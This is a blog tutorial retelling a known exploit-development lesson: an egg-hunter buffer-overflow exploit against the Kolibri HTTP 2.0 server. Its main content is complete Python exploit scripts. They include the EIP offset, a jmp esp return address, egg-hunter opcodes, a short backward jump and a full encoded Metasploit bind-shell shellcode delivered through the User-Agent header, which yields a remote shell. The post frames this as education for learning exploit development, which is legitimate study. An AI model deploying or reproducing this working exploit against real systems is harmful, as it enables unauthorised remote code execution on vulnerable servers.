Skip to main content

Breaking code: Egg Hunting (▀̿Ĺ̯▀̿ ̿) (day 52)


Disclaimer: This post only for education only ! not to cause any destruction on any living system. Be smart!

Note: this post is not originally mine, I only recreate the post and explain it through my understanding

previously in "breaking code" series, we are taking a look at how some software can be exploited by buffer overflow and although the OS provides some protection mechanism like SEH we are able to bypass it

this time we are going to discuss the exploitation technique called "egg hunting" in windows

this is considered as the most helpful technique by many exploit developers. Why ? because using egg hunting technique we don't have to hardcoded the address of our payload. That makes our exploit more reliable.

to demonstrate the implementation of egg hunting we are going to use Kolibri HTTP 2.0. It can be downloaded in (https://www.exploit-db.com/apps/4d4e15b98e105facf94e4fd6a1f9eb78-Kolibri-2.0-win.zip)


You don't have to install Kolibri since it can run independently by just clicking the executable file. So notice that the default file section: use file index.htm and since we don't have if you browse the URL (http://ip_address:8080) will return 404. So just to make it neat, I create a simple index.htm that spilled out "Success !!!"



(Kolibri will log all of the transaction)

First, let's open the immunity debugger and attach the process to the Kolibri HTTP server.


After you attach it let's try to make it crash with the following python script:


just to make it simple I'm going to use the requests library and run it you will see that the HTTP server is crashed.

'
Let's try to crash the HTTP server again and put a random pattern inside the payload so we know how much offset we need to overwrite the EIP


Once you have done generate the pattern put it in the script again like the figure below.


Run the script and after the crash, start the mona script "!mona findmsp"


cool! we got 515 bytes of offset to overwrite the EIP, like typical exploit development we are going to find the location of address that jump to the ESP using "!mona -r jmp esp "


you can choose any of this location address (I'm just going to use the first address) append this location to our script like the figure below



Notice that we kinda change the python script little bit, this is due to the requests library cannot handle our hex character when requesting the URL so we need to use socket library

If you put a breakpoint at that address, once you run script it will hit the breakpoint so this means we successfully take control of the EIP.


type (shift+f7) to move to the next instruction and you will end up at the esp where our rest payload resides.


Ok let's just assume for the sake of the demonstration, it turns out that we don't have enough memory to put our shellcode into the ESP. It may fall to one of this case:
  1. The buffer stored in the ESP may store somewhere else in the different memory region (you may think it can be solve by just put jump instruction to the memory address, True! but it is not really reliable) 
  2. Another case will be the buffer space before the EIP is also stored somewhere else. 
These two cases can overcome using egg hunting. Egg hunting is just like another shellcode that will search the entire area of memory for our payload using a unique string (egg) the unique string can be any normal string you can think of like "beef" or "egg" is up to you. The point here is that we want to use this egg to be the flag that can pinpoint our payload.

you can use any egg hunter but for this post, I'm just going to use the provided egg hunter in the fuzzysec website:

"\x66\x81\xca\xff"
"\x0f\x42\x52\x6a"
"\x02\x58\xcd\x2e"
"\x3c\x05\x5a\x74"
"\xef\xb8\x62\x33" #b3
"\x33\x66\x8b\xfa" #3f
"\xaf\x75\xea\xaf"
"\x75\xe7\xff\xe7"

The tag in this case is "b33f", if you use an ASCII tag you can easily convert it to hex with a quick 
google search... In this case we will need to prepend our final stage shellcode with "b33fb33f" so our
egg hunter can find it.
 
Using the following payload the egg is defined as "b33f". This opcode will run until it finds this tag twice repeated so if the tag is "hello" you need to put it "hellohello"

you can generate it by yourself using mona script:



You can put the following payload at the ESP or before the EIP for the sake of consistency I'm gonna put it before the EIP.

So you can imagine that by putting it before EIP we need to be able to jump back with at least 40-bytes to hit the egg hunting again.

How can we do that


simple ! you can use the following shellcode "\xEB" follow with how many bytes we want to jump.  "\xEB" means short jump opcode so for example if we want to jump 60 bytes this will be

-60 => ffffffffffffffc4

take the LSB and appended it to the opcode "\xEB\xc4"

add this to our python script along with egg hunter like this:


Cool! so when you run it it will show something like this


if you press shift+f7 it will go back to the egg hunting shellcode

now the final stage is to put the shellcode along with the egg(b33f), but where ? to answer this question let me tell you some facts about the HTTP protocol, you may notice that we can use several fields like the "user-agent" , "Host" and etc. One of this field can use to cause buffer overflow each of this field will have separate in-memory region so this can be used as a good example to show egg hunting capability to aid our exploitation

to prove the POC update our script again like this:

import socket
import struct

eip = struct.pack("I",0x7c9d30d7)
hunter = (
"\x66\x81\xca\xff"
"\x0f\x42\x52\x6a"
"\x02\x58\xcd\x2e"
"\x3c\x05\x5a\x74"
"\xef\xb8\x62\x33" #b3
"\x33\x66\x8b\xfa" #3f
"\xaf\x75\xea\xaf"
"\x75\xe7\xff\xe7")
nop = "\x90" * 5

pattern = <some random pattern>

payload = "A" * 478 + hunter + nop + eip +"\xEB\xC4"
payload2 = pattern

print "payload length: {}".format(str(len(payload)))
buffer = (
"HEAD /" + payload + " HTTP/1.1\r\n"
"Host: 192.168.56.101:8080\r\n"
"User-Agent: "+payload2+"\r\n"
"Keep-Alive: 115\r\n"
"Connection: keep-alive\r\n\r\n")

s = socket.socket()
s.connect(('192.168.56.101',8080))
s.send(buffer)
s.close()

run the python script and use the mona script again "!mona findmsp", take a look at the script, it found our pattern


for the final exploit update our script like this:

import socket
import struct

eip = struct.pack("I",0x7c9d30d7)
hunter = (
"\x66\x81\xca\xff"
"\x0f\x42\x52\x6a"
"\x02\x58\xcd\x2e"
"\x3c\x05\x5a\x74"
"\xef\xb8\x62\x33" #b3
"\x33\x66\x8b\xfa" #3f
"\xaf\x75\xea\xaf"
"\x75\xe7\xff\xe7")
nop = "\x90" * 5



shellcode = (
"\xdb\xcf\xd9\x74\x24\xf4\x59\x49\x49\x49\x49\x49\x49\x49\x49"
"\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58"
"\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
"\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x39\x6c"
"\x4a\x48\x6d\x59\x67\x70\x77\x70\x67\x70\x53\x50\x4d\x59\x4b"
"\x55\x75\x61\x49\x42\x35\x34\x6c\x4b\x52\x72\x70\x30\x6c\x4b"
"\x43\x62\x54\x4c\x4c\x4b\x62\x72\x76\x74\x6c\x4b\x72\x52\x35"
"\x78\x36\x6f\x6e\x57\x42\x6a\x76\x46\x66\x51\x6b\x4f\x50\x31"
"\x69\x50\x6c\x6c\x75\x6c\x35\x31\x53\x4c\x46\x62\x34\x6c\x37"
"\x50\x6f\x31\x58\x4f\x74\x4d\x75\x51\x49\x57\x6d\x32\x4c\x30"
"\x66\x32\x31\x47\x4e\x6b\x46\x32\x54\x50\x4c\x4b\x62\x62\x45"
"\x6c\x63\x31\x68\x50\x4c\x4b\x61\x50\x42\x58\x4b\x35\x39\x50"
"\x33\x44\x61\x5a\x45\x51\x5a\x70\x66\x30\x6c\x4b\x57\x38\x74"
"\x58\x4c\x4b\x50\x58\x57\x50\x66\x61\x58\x53\x78\x63\x35\x6c"
"\x62\x69\x6e\x6b\x45\x64\x6c\x4b\x76\x61\x59\x46\x45\x61\x39"
"\x6f\x70\x31\x39\x50\x6c\x6c\x4f\x31\x48\x4f\x66\x6d\x45\x51"
"\x79\x57\x46\x58\x49\x70\x50\x75\x39\x64\x73\x33\x61\x6d\x59"
"\x68\x77\x4b\x53\x4d\x31\x34\x32\x55\x38\x62\x61\x48\x6c\x4b"
"\x33\x68\x64\x64\x76\x61\x4e\x33\x43\x56\x4c\x4b\x44\x4c\x70"
"\x4b\x6e\x6b\x51\x48\x35\x4c\x43\x31\x4b\x63\x4e\x6b\x55\x54"
"\x6e\x6b\x47\x71\x48\x50\x4c\x49\x31\x54\x45\x74\x36\x44\x43"
"\x6b\x43\x6b\x65\x31\x52\x79\x63\x6a\x72\x71\x39\x6f\x6b\x50"
"\x56\x38\x33\x6f\x50\x5a\x4c\x4b\x36\x72\x38\x6b\x4c\x46\x53"
"\x6d\x42\x48\x47\x43\x55\x62\x63\x30\x35\x50\x51\x78\x61\x67"
"\x43\x43\x77\x42\x31\x4f\x52\x74\x35\x38\x70\x4c\x74\x37\x37"
"\x56\x37\x77\x4b\x4f\x78\x55\x6c\x78\x4c\x50\x67\x71\x67\x70"
"\x75\x50\x64\x69\x49\x54\x36\x34\x36\x30\x35\x38\x71\x39\x6f"
"\x70\x42\x4b\x55\x50\x79\x6f\x4a\x75\x66\x30\x56\x30\x52\x70"
"\x76\x30\x77\x30\x66\x30\x73\x70\x66\x30\x62\x48\x68\x6a\x54"
"\x4f\x4b\x6f\x4b\x50\x79\x6f\x78\x55\x4f\x79\x59\x57\x75\x61"
"\x6b\x6b\x42\x73\x51\x78\x57\x72\x35\x50\x55\x77\x34\x44\x4d"
"\x59\x4d\x36\x33\x5a\x56\x70\x66\x36\x43\x67\x63\x58\x38\x42"
"\x4b\x6b\x64\x77\x50\x67\x39\x6f\x4a\x75\x66\x33\x33\x67\x73"
"\x58\x4f\x47\x4d\x39\x55\x68\x69\x6f\x49\x6f\x5a\x75\x33\x63"
"\x32\x73\x53\x67\x42\x48\x71\x64\x6a\x4c\x47\x4b\x59\x71\x59"
"\x6f\x5a\x75\x30\x57\x4f\x79\x78\x47\x61\x78\x34\x35\x30\x6e"
"\x70\x4d\x63\x51\x39\x6f\x69\x45\x72\x48\x75\x33\x50\x6d\x55"
"\x34\x57\x70\x6f\x79\x5a\x43\x43\x67\x71\x47\x31\x47\x54\x71"
"\x5a\x56\x32\x4a\x52\x32\x50\x59\x66\x36\x58\x62\x39\x6d\x71"
"\x76\x4b\x77\x31\x54\x44\x64\x65\x6c\x77\x71\x37\x71\x4c\x4d"
"\x37\x34\x57\x54\x34\x50\x59\x56\x55\x50\x43\x74\x61\x44\x46"
"\x30\x73\x66\x30\x56\x52\x76\x57\x36\x72\x76\x42\x6e\x46\x36"
"\x66\x36\x42\x73\x50\x56\x65\x38\x42\x59\x7a\x6c\x67\x4f\x4e"
"\x66\x79\x6f\x4a\x75\x4d\x59\x6b\x50\x62\x6e\x76\x36\x42\x66"
"\x4b\x4f\x36\x50\x71\x78\x54\x48\x4c\x47\x75\x4d\x51\x70\x4b"
"\x4f\x48\x55\x6f\x4b\x6c\x30\x78\x35\x6f\x52\x33\x66\x33\x58"
"\x6c\x66\x4f\x65\x6f\x4d\x4f\x6d\x6b\x4f\x7a\x75\x75\x6c\x56"
"\x66\x51\x6c\x65\x5a\x4b\x30\x79\x6b\x69\x70\x51\x65\x77\x75"
"\x6d\x6b\x30\x47\x36\x73\x31\x62\x62\x4f\x32\x4a\x47\x70\x61"
"\x43\x4b\x4f\x4b\x65\x41\x41")

payload = "A" * 478 + hunter + nop + eip +"\xEB\xC4"
payload2 = "b33fb33f" + shellcode


print "payload length: {}".format(str(len(payload)))
buffer = (
"HEAD /" + payload + " HTTP/1.1\r\n"
"Host: 192.168.56.101:8080\r\n"
"User-Agent: "+payload2+"\r\n"
"Keep-Alive: 115\r\n"
"Connection: keep-alive\r\n\r\n")

s = socket.socket()
s.connect(('192.168.56.101',8080))
s.send(buffer)
s.close()

the shellcode variable is generated from the command : msfpayload windows/shell_bind_tcp LPORT=9988 R| msfencode -e x86/alpha_mixed -t c

the shellcode will open a TCP port 9988 in the windows machine

Run the script again and connect to the port and wallllaaa! we got a shell :)


Ok that's it I hope you enjoy this post and see you soon in another breaking code series.

references:

http://www.fuzzysecurity.com/tutorials/expDev/4.html

again this is not my original post I only recreate the step of the instruction that contains in the website to learn about exploit development in windows

kudoos to the author of the website :)

Comments

Popular posts from this blog

Having fun analyzing nginx log to find malicious attacker in the net (ง'̀-'́)ง (day 37)

  What makes you sleepless at night? is it because of a ghost or scary stories? is it because you have an important meeting tomorrow? or is it because you have an exam? For me, what keeps me up all night is that I keep thinking about what happens to a website that I just created, is it safe from an attacker (certainly not) or did I missing some security adjustments that lead to vulnerability? well I'm not the best secure programmer in the world, I'm still learning and there is a big possibility that I can make a mistake but for me, a mistake can be a valuable investment to myself or yourself to be better so from this idea, I want to know more about what attackers casually do when attacking a website. Here in this post, I'm going to show you how I analyzed attack to the website that I have permission to design and also some interesting findings that I could get from the analysis Background: All of this analysis comes from the traffic that is targeted to th...

Utilize Pwntools for crafting ROP chain :') (day 69)

who doesn't like pwntools? it is a very versatile tool and can be customized according to our need using the python script but did you need to know that pwntools itself can help us to automatically craft a rop chain for us? so in this post, I will show you how to make rop chain less painful and make pwntools do all the heavy lifting. To demonstrate this I will use the binary challenge callme 64 bit from ropemporium link: https://ropemporium.com/challenge/callme.html Crashing the app: Like any other exploitation process, we need to crash the program by generating a long string pattern to determine the offset. based on the information from the above figure we can see that we required to provide 40 bytes of offset Fun stuff: now this where the fun stuff began write the following python script: as in the guideline of the challenged said we need to chain the function call by first to call the callme_one function, callme_two function and then callme_three funct...

Bypassing stack canaries protection :') (day 51)

In my previous blogs, I show you guys how to bypass some common protection usually used in Linux binary such as NX and ASLR but this time we are going to take it to the next level we are going to talk about protection employ in the modern Linux OS which is "The Canaries" and how to bypass it. note: this post was not originally mined it was inspired by the following resources https://ctf-wiki.github.io/ctf-wiki/pwn/linux/mitigation/canary/ (Credit goes to the author) we are going to start this post about what is stack canaries and types of different implementation of it then move to the implementation about how to bypass this protection. We are going to focus on "leak canaries" technique What is stack canary: In layman terms, canaries are just another protection mechanism to prevent stack overflow implemented by appending 4/8 bytes value (depend on the architecture) into the stack when a function is entered. When the function is at the end of its exec...